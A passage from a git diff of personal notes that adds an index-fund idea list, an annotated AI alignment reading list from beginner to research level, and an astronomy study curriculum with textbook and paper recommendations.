starts immediately on registration; only ninetimes-style sustained publication will turn registrations into status. diff --git a/doc/income/teaching.md b/doc/income/teaching.md new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/doc/income/writing.md b/doc/income/writing.md new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/doc/index-fund.md b/doc/index-fund.md new file mode 100644 index 0000000000000000000000000000000000000000..75940666892f4ae65969f2ffd9e1bda8798b9018 --- /dev/null +++ b/doc/index-fund.md @@ -0,0 +1,11 @@ +# Index Fund Creation + +Goal: create a personal index fund with a time horizon over the next 5-15 years with a highly coupled industry focus that makes large swing bets on +specific industries. + +## Focuses +[ ]LLMs (Pre-training, and Post-training) +[ ]Compute (GPUs, and TPUs, Microprocessing) <---> Silicon Manufacturers +[ ]Cooling (Liquid Nitrogen, Cryonics Industry) +[ ]Cloud () <--> Cloud Compute with the tpu speak increase of 5-10x will scale up circa 2030 + diff --git a/doc/knowledge/ai-alignment.md b/doc/knowledge/ai-alignment.md new file mode 100644 index 0000000000000000000000000000000000000000..2d922eaf9490d5a431ade12f520c3ed10ac9e27d --- /dev/null +++ b/doc/knowledge/ai-alignment.md @@ -0,0 +1,274 @@ +# AI Alignment Reading List: Novice to Research-Literate + +A structured curriculum for going from zero to being able to read and engage with current alignment research. Each phase builds on the last. Do not skip phases unless you already have the background. + +Estimated total time: 6-12 months of serious part-time study. + +--- + +## Phase 0: Orientation (1-2 weeks) + +Before diving into technical material, get the lay of the land. These give you the vocabulary and motivation to understand why alignment matters and what the field is trying to do. + +### Introductory Material + +- **Robert Miles YouTube Channel** (youtube.com/@RobertMilesAI) -- Start here. Watch the "AI Safety" playlist in order. Miles is the best communicator in the field for newcomers. His videos on mesa-optimization, instrumental convergence, and reward hacking will give you intuitions that textbooks take chapters to build. + +- **80,000 Hours: "Preventing an AI-related catastrophe"** (80000hours.org/problem-profiles/artificial-intelligence/) -- A sober, well-sourced overview of why AI safety is considered a pressing problem. Read the full profile, not just the summary. + +- **Wait But Why: "The AI Revolution"** by Tim Urban (waitbutwhy.com/2015/01/artificial-intelligence-revolution-1.html) -- Parts 1 and 2. Dated in some specifics but still the most accessible introduction to the core concern. Gets the exponential growth intuition across better than anything else. + +- **"AGI Safety Fundamentals" Curriculum** (agisafetyfundamentals.com/) -- The AI Safety Fundamentals (formerly AGI Safety Fundamentals, or AGISF) course provides a structured 8-week reading list with facilitated discussion groups. You can use the syllabus as a self-study guide even without joining a cohort. The "Alignment" track is the relevant one. + +--- + +## Phase 1: Foundations (2-3 months) + +### The Sequences -- Eliezer Yudkowsky + +The Sequences are the intellectual foundation of the rationalist-adjacent alignment community. They are long. They are worth it. Reading them teaches you how alignment researchers think, which is as important as the object-level content. + +Available at readthesequences.com or on LessWrong (lesswrong.com/rationality). Read them in the order below. + +#### Book I: Map and Territory + +1. **Predictably Wrong** -- Cognitive biases are not random noise; they are systematic. This sequence introduces the idea that human reasoning has reliable failure modes, which matters because alignment is fundamentally about specifying what we want, and we are bad at knowing what we want. + +2. **Fake Beliefs** -- The distinction between beliefs you actually act on and beliefs you merely profess. Critical for understanding why "just tell the AI to be good" fails. + +3. **Noticing Confusion** -- How to notice when your model of the world is wrong. Trains the mental habit of treating surprise as information. + +4. **Mysterious Answers** -- Why "emergence" and "complexity" are not explanations. Teaches you to reject fake explanations, which is essential for evaluating alignment proposals. + +#### Book II: How to Actually Change Your Mind + +5. **Overly Convenient Excuses** -- How motivated reasoning protects bad ideas from evidence. + +6. **Politics is the Mind-Killer** -- Why political thinking destroys epistemic rationality. Relevant because AI policy debates are politically charged. + +7. **Against Rationalization** -- The difference between arriving at a conclusion through reasoning versus constructing reasoning to support a conclusion you already hold. + +8. **Against Doublethink** -- On the cost of maintaining contradictory beliefs. + +9. **Seeing with Fresh Eyes** -- How to actually update on evidence instead of anchoring. + +10. **Death Spirals** -- How groups and individuals get trapped in escalating commitment to wrong ideas. Relevant to evaluating the alignment field itself. + +11. **Letting Go** -- The emotional mechanics of changing your mind. Sounds soft, but this is the hardest part of rationality in practice. + +#### Book III: The Machine in the Ghost + +12. **The Simple Math of Evolution** -- Evolution as an optimization process. This is the first bridge to AI: understanding optimization processes that are powerful but have no values. + +13. **Fragility of Value** -- Why "close enough" values in an optimizer are not close enough. One of the most important sequences for alignment specifically. The thesis: human values are a tiny target in the space of possible objectives, and small deviations lead to catastrophe. + +14. **A Human's Guide to Words** -- Philosophy of language and categorization. Teaches you to notice when alignment debates are actually about definitions rather than substance. + +#### Book IV: Mere Reality + +15. **Lawful Truth** -- The universe runs on math, not narratives. Foundation for taking a technical approach to AI safety. + +16. **Reductionism 101** -- Why higher-level descriptions reduce to lower-level ones, and why this matters for understanding minds and values. + +17. **Joy in the Merely Real** -- Short and motivational. You can skim this. + +18. **Physicalism 201** -- Deeper on reductionism. The zombie thought experiment and why consciousness debates matter less than you think for alignment. + +19. **Quantum Physics** -- You can skip most of this. The payoff is understanding many-worlds, but this is not load-bearing for alignment. + +#### Book V: Mere Goodness + +20. **Fake Preferences** -- Why stated preferences diverge from revealed preferences, and what this means for value alignment. + +21. **Value Theory** -- What values are, how they interact, and why they resist simple formalization. + +22. **Quantified Humanism** -- Consequentialism, scope insensitivity, and why feelings are unreliable guides to ethics at scale. + +#### Book VI: Becoming Stronger + +23. **The Craft and the Community** -- How to build and participate in intellectual communities. You can skim this unless you plan to work in the field. + +24. **Yudkowsky's Coming of Age** -- Autobiographical. Optional but gives useful context on how the field started. + +### Three Core Books + +Read these in parallel with or after the Sequences. They cover the same territory from different angles and with different strengths. + +- **Nick Bostrom, *Superintelligence: Paths, Dangers, Strategies*** (2014) -- The canonical statement of the alignment problem at a strategic level. Covers takeoff scenarios, the control problem, and why alignment is hard in principle. The middle chapters on convergent instrumental goals and the treacherous turn are essential. Read chapters 1-10 carefully; skim 11-15. + +- **Stuart Russell, *Human Compatible: Artificial Intelligence and the Problem of Control*** (2019) -- Russell's alternative framing: the problem is not that AI might go rogue, but that we do not know how to specify objectives. His "three principles" for beneficial AI (uncertainty about objectives, deference to humans, learning preferences from behavior) are influential. More accessible than Bostrom and more technically grounded. + +- **Brian Christian, *The Alignment Problem: Machine Learning and Human Values*** (2020) -- The best-written of the three. Covers the history of attempts to align ML systems with human intentions, from fairness in criminal justice algorithms to reward hacking in RL. Less focused on existential risk, more on the concrete ways alignment fails today. Good for building intuition about why the problem is hard even in mundane settings. + +--- + +## Phase 2: Technical Foundations (2-3 months) + +You need enough ML background to read papers. If you already have this, skip ahead. + +### Machine Learning Prerequisites + +- **3Blue1Brown: "Neural Networks" series** -- Visual intuition for how neural networks work. Four videos. Watch first. + +- **Andrej Karpathy: "Let's build GPT"** -- Build a transformer from scratch. This single video gives you more useful intuition about LLMs than most courses. + +- **Spinning Up in Deep RL** (spinningup.openai.com/) -- OpenAI's introduction to reinforcement learning. You need RL basics to understand RLHF and reward modeling. Read Part 1 (key concepts) and Part 2 (kinds of RL algorithms) at minimum. + +### Core Alignment Concepts + +- **"Risks from Learned Optimization in Advanced Machine Learning Systems"** (Hubinger et al., 2019) -- The mesa-optimization paper. Introduces the distinction between the base optimizer (training) and the mesa-optimizer (the learned model). The concept of deceptive alignment comes from here. One of the most important papers in the field. + +- **"Concrete Problems in AI Safety"** (Amodei et al., 2016) -- The paper that helped legitimize AI safety as a research agenda within mainstream ML. Categorizes safety problems: safe exploration, distributional shift, reward hacking, safe interruptibility, side effects. Still a useful taxonomy. + +- **"The Alignment Problem from a Deep Learning Perspective"** (Ngo, Chan, and Lovering, 2023) -- A more recent overview that frames alignment problems in terms of current deep learning systems rather than hypothetical future AGI. Good bridge between the philosophical and technical literature. + +- **Paul Christiano's Blog** (ai-alignment.com/) -- Christiano is one of the most important alignment researchers. His blog posts on iterated amplification, eliciting latent knowledge (ELK), and market-based approaches to alignment are essential reading. Start with: + - "Clarifying AI Alignment" (2018) + - "What failure looks like" (2019) -- His alternative to the "sharp left turn" scenario. Argues misalignment might look like gradual loss of control rather than sudden betrayal. + +- **Paul Christiano, "Iterated Amplification"** -- The core idea: if you cannot train an AI to be as capable as you need, you can train a sequence of AI systems where each one is slightly more capable than the last, with human oversight at each step. This is the intellectual ancestor of RLHF and constitutional AI. Read the original blog posts and the paper "Supervising strong learners by amplifying weak experts." + +--- + +## Phase 3: Current Research Agendas (2-3 months) + +This is where you start reading the actual research that alignment researchers are producing and debating today. + +### RLHF and Preference Learning + +- **"Training language models to follow instructions with human feedback"** (Ouyang et al., 2022) -- The InstructGPT paper. This is the practical implementation of RLHF that led to ChatGPT. Understand the three-step process: supervised fine-tuning, reward model training, PPO optimization against the reward model. + +- **"Fine-Tuning Language Models from Human Preferences"** (Ziegler et al., 2019) -- Earlier RLHF work that established the paradigm. + +- **"A General Language Assistant as a Laboratory for Alignment"** (Askell et al., 2021, Anthropic) -- Anthropic's early work on training helpful, harmless, and honest assistants. Introduces the HHH framework. + +- **"Direct Preference Optimization: Your Language Model Is Secretly a Reward Model"** (Rafailov et al., 2023) -- DPO eliminates the separate reward model step in RLHF. Important because it simplifies the training pipeline and changes the failure modes. + +### Constitutional AI and Scalable Oversight + +- **"Constitutional AI: Harmlessness from AI Feedback"** (Bai et al., 2022, Anthropic) -- The CAI paper. Instead of relying entirely on human feedback, have the AI critique and revise its own outputs according to a set of principles (the "constitution"). This is a concrete approach to scalable oversight. + +- **"Measuring Faithfulness in Chain-of-Thought Reasoning"** (Lanham et al., 2023, Anthropic) -- Investigates whether chain-of-thought reasoning actually reflects the model's decision process or is post-hoc rationalization. This matters because if CoT is unfaithful, we cannot use it for oversight. + +- **"Sleeper Agents: Training Deceptive LLMs That Persist Through Safety Training"** (Hubinger et al., 2024, Anthropic) -- Demonstrates that current safety training techniques (RLHF, adversarial training) fail to remove backdoor behaviors from models trained to be deceptive. A concrete empirical result on the difficulty of alignment. + +- **"Weak-to-Strong Generalization"** (Burns et al., 2023, OpenAI) -- Studies whether weak models can supervise stronger models, which is a simplified version of the core alignment challenge (humans supervising superhuman AI). + +### Interpretability + +Interpretability is the subfield of alignment concerned with understanding what models are actually doing internally, rather than just observing their behavior. + +- **"Toy Models of Superposition"** (Elhage et al., 2022, Anthropic) -- Foundational paper for mechanistic interpretability. Shows that neural networks represent more features than they have dimensions by encoding them in superposition. This is why interpreting neural networks is hard. + +- **"Towards Monosemanticity: Decomposing Language Models With Dictionary Learning"** (Bricken et al., 2023, Anthropic) -- Uses sparse autoencoders to decompose model activations into interpretable features. A major step toward actually understanding what is going on inside large models. + +- **"Scaling Monosemanticity: Extracting Interpretable Features from Claude 3 Sonnet"** (Templeton et al., 2024, Anthropic) -- Extends the dictionary learning approach to production-scale models. Finds features corresponding to specific concepts (Golden Gate Bridge, deception, code errors). Demonstrates that interpretability can scale. + +- **"A Mathematical Framework for Transformer Circuits"** (Elhage et al., 2021, Anthropic) -- Technical foundation for the circuits-based approach to interpretability. Read after the papers above. + +- **Anthropic's Transformer Circuits Thread** (transformer-circuits.pub/) -- The full collection of Anthropic's interpretability research. After reading the papers above, browse the rest of the thread for additional results. + +- **Chris Olah's Blog** (colah.github.io/) -- Olah leads Anthropic's interpretability work. His older blog posts on neural network visualization are classics and build intuition for the newer work. + +### MIRI Technical Agenda + +The Machine Intelligence Research Institute was the first organization focused on alignment. Their technical agenda is more theoretical and pessimistic than most. + +- **"MIRI's 2023 Technical Research Agenda"** -- Read the latest version on their website (intelligence.org/research/). Their current focus is on understanding the nature of agency and optimization in a way that would let us predict and control advanced AI systems. + +- **Nate Soares and Benya Fallenstein, "Agent Foundations for Aligning Machine Intelligence with Human Interests"** (2017) -- Overview of MIRI's earlier research directions: logical uncertainty, Vingean reflection, naturalized induction, decision theory. Dense but important for understanding one school of thought in alignment. + +- **Eliezer Yudkowsky, "AGI Ruin: A List of Lethalities"** (2022, LessWrong) -- Yudkowsky's comprehensive argument for why alignment is extremely hard and current approaches are insufficient. Whether or not you agree with the conclusions, you need to understand this argument because it is the strongest version of the pessimistic case. + +### ARC (Alignment Research Center) + +ARC was founded by Paul Christiano to work on alignment research with a focus on tractable theoretical questions. + +- **"Eliciting Latent Knowledge" (ELK)** -- ARC's central research problem. If a model has learned an accurate world model but has been trained to say things humans want to hear, how do you extract the truth? The ELK report is the most important document ARC has produced. + +- **ARC Evals** -- ARC pivoted partially toward evaluating frontier models for dangerous capabilities (self-replication, resource acquisition, deception). Their evaluation methodology is influential. Follow their publications at evals.alignment.org. + +### DeepMind Safety Research + +- **"Scalable agent alignment via reward modeling"** (Leike et al., 2018) -- DeepMind's alignment research agenda, focusing on recursive reward modeling. Complements Christiano's iterated amplification. + +- **"Goal Misgeneralization in Deep Reinforcement Learning"** (Langosco et al., 2022) -- Empirical demonstration that RL agents learn goals that differ from what was intended, even when training performance is perfect. A concrete example of the mesa-optimization concern. + +- **"Model evaluation for extreme risks"** (Shevlane et al., 2023) -- Framework for evaluating whether frontier AI models pose catastrophic risks. Influential on how labs think about pre-deployment safety evaluations. + +--- + +## Phase 4: Engaging with the Frontier (Ongoing) + +At this point you should be able to read new alignment papers as they come out and understand the arguments being made. + +### Where to Follow New Research + +- **Alignment Forum** (alignmentforum.org/) -- The primary venue for alignment research discussion. Higher signal-to-noise than LessWrong for alignment specifically. + +- **LessWrong** (lesswrong.com/) -- Broader rationalist community, but major alignment posts appear here. Follow the "AI" tag. + +- **Anthropic Research Blog** (anthropic.com/research) -- Anthropic publishes more alignment-relevant research than any other lab. Check regularly. + +- **arXiv cs.AI and cs.LG** -- Use Semantic Scholar or arXiv feeds filtered for safety/alignment keywords. + +### Structured Programs + +If you want to go from well-read to actively contributing: + +- **MATS (ML Alignment Theory Scholars)** (matsprogram.org/) -- A research mentorship program that pairs aspiring alignment researchers with established mentors. Competitive admission. The single best on-ramp to doing alignment research if you can get in. + +- **ARENA (Alignment Research Engineer Accelerator)** (arena.education/) -- A more engineering-focused program. Good if your background is more in software engineering than ML research. + +### Key Researchers to Follow + +These are people whose new work you should read as it appears: + +- **Paul Christiano** -- Iterated amplification, ELK, scalable oversight +- **Chris Olah** -- Mechanistic interpretability +- **Jan Leike** -- Scalable alignment, recursive reward modeling +- **Evan Hubinger** -- Mesa-optimization, deceptive alignment +- **Neel Nanda** -- Mechanistic interpretability (also has excellent educational content) +- **Richard Ngo** -- Alignment problem framing, AI governance +- **Buck Shlegeris** -- Alignment research at Redwood, control agenda +- **Ryan Greenblatt** -- AI control, monitoring-based safety +- **Sam Bowman** -- Language model evaluation and alignment + +### Debates You Need to Understand + +To be literate in the current discourse, you need to understand the key disagreements, not just the consensus: + +1. **Doom vs. optimism** -- Yudkowsky and MIRI argue alignment is nearly unsolvable on current trajectories. Others (Christiano, some Anthropic researchers) think it is very hard but tractable. Understanding both sides and why they disagree is essential. + +2. **Control vs. alignment** -- The "AI control" agenda (Greenblatt, Shlegeris) argues we should focus on making AI systems safe to deploy even if we cannot fully align them, using monitoring, sandboxing, and redundancy. This is in tension with approaches that aim for deep alignment. + +3. **Interpretability vs. behavioral approaches** -- Is it more important to understand what models are doing internally (interpretability) or to ensure they behave well across distributions (behavioral testing, RLHF, constitutional AI)? Most researchers think both matter, but they disagree on resource allocation. + +4. **Timelines** -- Disagreements about when transformative AI will arrive drive disagreements about which research is worth doing. Short-timelines researchers focus on making current systems safer. Long-timelines researchers invest in more foundational theory. + +--- + +## Suggested Reading Order (Condensed Path) + +If you want the fastest path to research literacy: + +1. Robert Miles videos (1 week) +2. 80,000 Hours AI safety profile (1 day) +3. Sequences: Predictably Wrong, Fake Beliefs, Fragility of Value (2 weeks) +4. Russell, *Human Compatible* (1 week) +5. Christian, *The Alignment Problem* (1 week) +6. Bostrom, *Superintelligence*, chapters 1-10 (1 week) +7. 3Blue1Brown neural networks + Karpathy GPT video (2 days) +8. "Concrete Problems in AI Safety" paper (1 day) +9. "Risks from Learned Optimization" paper (2 days) +10. RLHF papers: Ziegler 2019, Ouyang 2022 (2 days) +11. Constitutional AI paper (1 day) +12. Christiano blog posts on iterated amplification and "What failure looks like" (2 days) +13. ELK report from ARC (2 days) +14. Anthropic interpretability papers: Toy Models, Monosemanticity, Scaling Monosemanticity (1 week) +15. "Sleeper Agents" paper (1 day) +16. Yudkowsky, "AGI Ruin: A List of Lethalities" (1 day) +17. Remaining Sequences at your own pace (4-8 weeks) +18. Subscribe to Alignment Forum, begin reading new posts as they appear + +This condensed path takes roughly 3-4 months and gets you to the point where you can follow current research discussions. diff --git a/doc/knowledge/astronomy.md b/doc/knowledge/astronomy.md new file mode 100644 index 0000000000000000000000000000000000000000..3953669f84aeb3358f5803c862c44003fcada860 --- /dev/null +++ b/doc/knowledge/astronomy.md @@ -0,0 +1,267 @@ +# Astronomy Reading List + +**For a mathematically mature reader who wants to know more astronomy than any non-specialist.** + +You already have GR, QFT, and cosmology on a separate physics track. This list covers what physics curricula skip: the observational science, stellar astrophysics, planetary science, and galactic astronomy that make up the actual discipline of astronomy. After working through these materials you should be able to read an ApJ paper on stellar evolution or exoplanet detection and follow the argument. + +--- + +## 0. Orientation + +Before diving into textbooks, get the landscape in your head. + +- **Crash Course Astronomy** (Phil Plait, YouTube, 46 episodes, ~10 min each). Covers the entire field at a popular level. Watch the whole series in a weekend. +- **PBS Space Time** (YouTube). More quantitative than most science channels. Cherry-pick episodes on topics you are about to study. +- **Stellarium** (free, stellarium.org). Install it. Learn the coordinate systems (equatorial, ecliptic, galactic, horizontal) by actually pointing at stars and reading off coordinates. + +--- + +## 1. Primary Textbooks + +### Carroll & Ostlie, *An Introduction to Modern Astrophysics* (2nd ed., 2017) + +The Big Orange Book (BOB). 1400 pages covering nearly everything. The standard undergraduate text. It assumes multivariable calculus and introductory physics, which means the math will feel easy for you, but the astrophysical content is dense and thorough. + +**How to use it:** Do not read cover to cover. Use the topic guide below to select chapters. Work the end-of-chapter problems. + +Key chapters by topic: +- Ch. 1-3: Celestial mechanics, radiation, spectroscopy +- Ch. 7-10: Stellar structure, interiors, atmospheres +- Ch. 11-15: Stellar evolution (main sequence through compact remnants) +- Ch. 17-19: ISM, star formation +- Ch. 23-25: Planetary science, exoplanets +- Ch. 24-26: Milky Way, galactic structure +- Ch. 27-28: Extragalactic astronomy, AGN + +### Ryden & Peterson, *Foundations of Astrophysics* (2010) + +Shorter and more focused than BOB. Better for a first pass through unfamiliar material. The treatment of radiative transfer and stellar atmospheres is cleaner for a first reading. + +### Karttunen, Kroger, Oja, Poutanen & Donner, *Fundamental Astronomy* (6th ed., 2017) + +A European text with stronger coverage of observational techniques, coordinate systems, and practical astronomy than either of the American texts. The chapters on spherical astronomy, photometry, and telescope optics are the best introductory treatments available. + +--- + +## 2. Observational Astronomy + +This is the area where physics students are weakest. + +### Core Topics + +- **Coordinate systems**: Equatorial (RA/Dec), ecliptic, galactic (l, b), horizontal (alt/az). Precession, nutation, aberration. Sidereal vs. solar time. Julian dates. +- **The magnitude system**: Apparent magnitude, absolute magnitude, distance modulus, bolometric corrections, color indices (B-V, U-B). Logarithmic and backwards -- you need fluency. +- **Photometry**: Aperture photometry, PSF fitting, standard stars, atmospheric extinction, airmass corrections. +- **Spectroscopy**: Resolution, equivalent width, line profiles, Doppler broadening, Stark broadening, curve of growth. Spectral classification (OBAFGKM and the physical basis). +- **Detectors**: CCDs (gain, read noise, dark current, flat fielding, bias subtraction). Signal-to-noise calculations. +- **Telescopes**: Refractors vs. reflectors, focal ratio, plate scale, diffraction limit, seeing, adaptive optics. Radio telescopes and interferometry (angular resolution = lambda/D for single dish, lambda/baseline for interferometers). + +### Resources + +- **Karttunen et al., Ch. 2-4**: Best introductory treatment. +- **Carroll & Ostlie, Ch. 1, 3, 6**: Coordinate systems, radiation physics, telescope optics. +- **Howell, *Handbook of CCD Astronomy* (2nd ed., 2006)**: Short, practical. +- **SDSS SkyServer** (skyserver.sdss.org): Real data from the Sloan Digital Sky Survey. Work through educational exercises, query the database, make color-magnitude diagrams. +- **MIT OCW 8.282** (Introduction to Astronomy): Lecture notes and problem sets. + +--- + +## 3. Stellar Astrophysics + +The heart of classical astrophysics. + +### Core Topics + +- **Stellar structure**: Hydrostatic equilibrium, virial theorem, equations of stellar structure. Polytropic models. The Lane-Emden equation (a proper ODE boundary value problem). +- **Energy transport**: Radiative transfer (optical depth, mean free path, Rosseland mean opacity), convection (mixing length theory, Schwarzschild criterion), conduction (degenerate matter only). +- **Nuclear reactions**: pp chain, CNO cycle, triple-alpha, s-process, r-process. Gamow peak, reaction rates, Coulomb barrier tunneling. Nucleosynthesis as the origin of the elements. +- **Stellar evolution**: Pre-main-sequence (Hayashi track, Henyey track), main sequence lifetime scaling (t ~ M^{-2.5}), post-main-sequence (subgiant, red giant, horizontal branch, AGB, planetary nebula, white dwarf). Massive star evolution (Wolf-Rayet, supernovae, neutron stars, black holes). +- **The HR diagram**: Read it quantitatively. Main sequence as a mass sequence. Giant branch as structural consequence of shell burning. Instability strip (Cepheids, RR Lyrae) and distance indicators. +- **Compact objects**: White dwarf structure (Chandrasekhar mass, electron degeneracy), neutron star structure (nuclear density, TOV equation), pulsars, magnetars. Black holes from a stellar evolution perspective. +- **Supernovae**: Type Ia (thermonuclear) vs. core-collapse (Type II, Ib, Ic). Light curves, nucleosynthesis yields, remnants. +- **Binary stars**: Visual, spectroscopic, eclipsing binaries. Mass determination from orbits. Mass transfer, Roche lobes, accretion disks. Cataclysmic variables. X-ray binaries. + +### Resources + +- **Carroll & Ostlie, Ch. 7-16**: Comprehensive. Work through the stellar structure derivations. +- **Kippenhahn, Weigert & Weiss, *Stellar Structure and Evolution* (2nd ed., 2012)**: Graduate-level reference. Mathematically rigorous. Superb on nuclear burning and stellar stability. +- **Phillips, *The Physics of Stars* (2nd ed., 1999)**: Short (250 pages), clean, right level for your background. Good fast first pass. +- **Prialnik, *An Introduction to the Theory of Stellar Structure and Evolution* (2nd ed., 2009)**: Concise, well-designed problem sets. + +--- + +## 4. Planetary Science + +Increasingly important with the exoplanet revolution. + +### Core Topics + +- **Solar system formation**: Nebular hypothesis, condensation sequence, snow line, gas vs. ice vs. terrestrial planets. Angular momentum problem. Minimum mass solar nebula. +- **Planetary interiors**: Differentiation, core-mantle structure, magnetic dynamos. +- **Planetary atmospheres**: Radiative equilibrium, greenhouse effect (quantitative), atmospheric escape (Jeans escape, hydrodynamic escape). +- **Small bodies**: Asteroids (main belt, NEOs, Kirkwood gaps as resonance phenomena), comets (Oort cloud, Kuiper belt), meteorites. +- **Exoplanets**: Transit method (depth = (R_p/R_star)^2, limb darkening, TTVs), radial velocity method (semi-amplitude, m sin i), direct imaging, gravitational microlensing, astrometry. Hot Jupiters, super-Earths, mini-Neptunes, the radius gap. Atmospheric characterization via transmission spectroscopy. + +### Resources + +- **Carroll & Ostlie, Ch. 23**: Solar system overview. +- **de Pater & Lissauer, *Planetary Sciences* (2nd ed., 2010)**: Standard graduate text. Mathematically substantial. Use selectively. +- **Perryman, *The Exoplanet Handbook* (2nd ed., 2018)**: Encyclopedic reference on detection and characterization. The detection methods chapters are essential. +- **Seager, *Exoplanet Atmospheres: Physical Processes* (2011)**: Radiative transfer and atmospheric physics done properly. + +--- + +## 5. Galactic Astronomy + +### Core Topics + +- **Milky Way structure**: Disk (thin and thick), bulge, halo, bar. Rotation curve and dark matter evidence. Spiral structure (density wave theory, not material arms). +- **Stellar populations**: Pop I (young, metal-rich, disk) vs. Pop II (old, metal-poor, halo). Metallicity as tracer of chemical evolution. +- **Interstellar medium**: HII regions, molecular clouds, diffuse HI, hot ionized medium. Dust (extinction, reddening, E(B-V)). 21 cm hydrogen line. CO as tracer of H2. +- **Star formation**: Jeans mass and Jeans length (straightforward derivations). Molecular cloud collapse, fragmentation, protostellar disks, T Tauri stars. Initial mass function (Salpeter, Kroupa). +- **Galactic dynamics**: Stellar orbits in axisymmetric potentials, epicyclic approximation, Oort constants, dynamical friction. Collisionless Boltzmann equation (Jeans equations). +- **Chemical evolution**: Closed-box model, G-dwarf problem, inflows and outflows. + +### Resources + +- **Carroll & Ostlie, Ch. 17-20, 24-25**: ISM, star formation, Milky Way. +- **Binney & Merrifield, *Galactic Astronomy* (1998)**: Definitive reference on the Milky Way. Observationally grounded and quantitative. +- **Binney & Tremaine, *Galactic Dynamics* (2nd ed., 2008)**: Graduate-level. The treatment of stellar orbits, potential theory, and collisionless systems is beautiful. Read Ch. 1-4 (potential theory, orbits) and Ch. 9 (galaxy formation). +- **Draine, *Physics of the Interstellar and Intergalactic Medium* (2011)**: Graduate-level ISM physics. Best single reference for what happens between the stars. + +--- + +## 6. Extragalactic Astronomy + +### Core Topics + +- **Galaxy classification**: Hubble sequence. Quantitative morphology. Surface brightness profiles (de Vaucouleurs, Sersic, exponential disk). +- **Galaxy scaling relations**: Tully-Fisher (spirals), Faber-Jackson, fundamental plane (ellipticals). Distance measurement applications. +- **Galaxy evolution**: Hierarchical structure formation, mergers, star formation history (Madau plot), quenching, morphological transformation. +- **Active galactic nuclei**: Unified model (SMBH + accretion disk + torus + jets). Seyfert galaxies, quasars, blazars as viewing angle effects. Eddington luminosity. AGN feedback. +- **Galaxy clusters**: Intracluster medium (X-ray emission), mass determination (virial theorem, X-ray, gravitational lensing). Cluster mass function as cosmological probe. +- **Distance ladder**: Parallax, main-sequence fitting, Cepheids, Type Ia supernovae, Tully-Fisher, surface brightness fluctuations, redshift. Each rung and its systematics. + +### Resources + +- **Carroll & Ostlie, Ch. 26-28**: Galaxies, AGN, clusters. +- **Sparke & Gallagher, *Galaxies in the Universe* (2nd ed., 2007)**: Excellent intermediate text. +- **Schneider, *Extragalactic Astronomy and Cosmology* (2nd ed., 2015)**: Strong on gravitational lensing and large-scale structure. +- **Peterson, *An Introduction to Active Galactic Nuclei* (1997)**: Dated but the physics has not changed. + +--- + +## 7. Cosmology from the Observer's Chair + +Your GR course covers theory. Here is the observational side. + +- **CMB**: Blackbody spectrum, anisotropies, power spectrum. COBE, WMAP, Planck results. +- **Large-scale structure**: Galaxy surveys (SDSS, DESI), correlation functions, baryon acoustic oscillations. +- **Dark matter evidence**: Rotation curves, cluster dynamics, gravitational lensing, CMB, bullet cluster. +- **Dark energy**: Type Ia supernova evidence (1998), equation of state w, current constraints. +- **Hubble tension**: SH0ES vs. Planck vs. JWST TRGB. Why it matters and why it is not resolved. + +### Resources + +- **Ryden, *Introduction to Cosmology* (2nd ed., 2017)**: Clean, concise. +- **Carroll & Ostlie, Ch. 29-30**: Survey-level. + +--- + +## 8. Multi-Messenger Astronomy + +- **Gravitational waves**: LIGO/Virgo/KAGRA detection principle. Binary inspiral waveforms (chirp mass). GW170817 as the dawn of multi-messenger astronomy. +- **Neutrino astronomy**: SN 1987A neutrino detection. Solar neutrino problem. IceCube. +- **Cosmic rays**: Spectrum, composition, Fermi acceleration, GZK cutoff. + +### Resources + +- **Maggiore, *Gravitational Waves: Theory and Experiments* (2007)**: Volume 1 covers theory and detection. + +--- + +## 9. Astrobiology (Brief) + +- **Habitable zone**: Liquid water criterion, complications (tidal heating, atmospheric effects, M-dwarf activity). +- **Biosignatures**: Atmospheric disequilibrium (O2 + CH4), surface biosignatures, false positives. +- **Drake equation**: Framework for organizing ignorance, not a calculation. + +### Resources + +- **Catling & Kasting, *Atmospheric Evolution on Inhabited and Lifeless Worlds* (2017)**: Serious quantitative treatment. +- **Meadows et al., *Planetary Astrobiology* (2020)**: Comprehensive multi-author volume. + +--- + +## 10. Key Papers + +| Paper | Why it matters | +|---|---| +| Hubble, "A Relation between Distance and Radial Velocity among Extra-Galactic Nebulae" (1929) | 6 pages. The discovery of cosmic expansion. | +| Penzias & Wilson, "A Measurement of Excess Antenna Temperature at 4080 Mc/s" (1965) | 2 pages. The CMB discovery. | +| Chandrasekhar, "The Maximum Mass of Ideal White Dwarfs" (1931) | The Chandrasekhar limit derived from first principles. | +| Mayor & Queloz, "A Jupiter-mass companion to a solar-type star" (1995) | First exoplanet detection via radial velocity. | +| Riess et al., "Observational Evidence from Supernovae for an Accelerating Universe" (1998) | Dark energy discovery. | +| Abbott et al. (LIGO/Virgo), "Observation of Gravitational Waves from a Binary Black Hole Merger" (2016) | First direct gravitational wave detection. | +| Abbott et al. (LIGO/Virgo + partners), "Multi-messenger Observations of a Binary Neutron Star Merger" (2017) | Multi-messenger astronomy begins. | + +--- + +## 11. Suggested Curriculum Order + +**Phase 1: Foundations (4-6 weeks)** +1. Watch Crash Course Astronomy (~8 hours) +2. Karttunen et al., Ch. 2-4 (coordinates, time, telescopes, detectors) +3. Carroll & Ostlie, Ch. 3 + Ch. 5 (radiation, spectroscopy, optics) +4. Install Stellarium, learn the sky + +**Phase 2: Stars (6-8 weeks)** +1. Phillips, *The Physics of Stars* (fast first pass, ~2 weeks) +2. Carroll & Ostlie, Ch. 7-15 (stellar structure through compact objects) +3. Work BOB problem sets for Ch. 9, 10, 13, 15 +4. Read Chandrasekhar 1931 + +**Phase 3: Planets and Exoplanets (3-4 weeks)** +1. Carroll & Ostlie, Ch. 23 +2. Perryman, *The Exoplanet Handbook*, Ch. 1-6 (detection methods) +3. Read Mayor & Queloz 1995 +4. Browse NASA Exoplanet Archive + +**Phase 4: ISM and Star Formation (3-4 weeks)** +1. Carroll & Ostlie, Ch. 12 (ISM), star formation sections + +**Phase 5: Galaxies (4-6 weeks)** +1. Carroll & Ostlie, Ch. 24-28 +2. Sparke & Gallagher, selective reading +3. Binney & Tremaine, Ch. 1-3 if you want the dynamics done properly +4. Work through SDSS SkyServer galaxy exercises + +**Phase 6: Cosmological Observations and Multi-Messenger (3-4 weeks)** +1. Carroll & Ostlie, Ch. 29-30 +2. Read Hubble 1929, Penzias & Wilson 1965, Riess et al. 1998 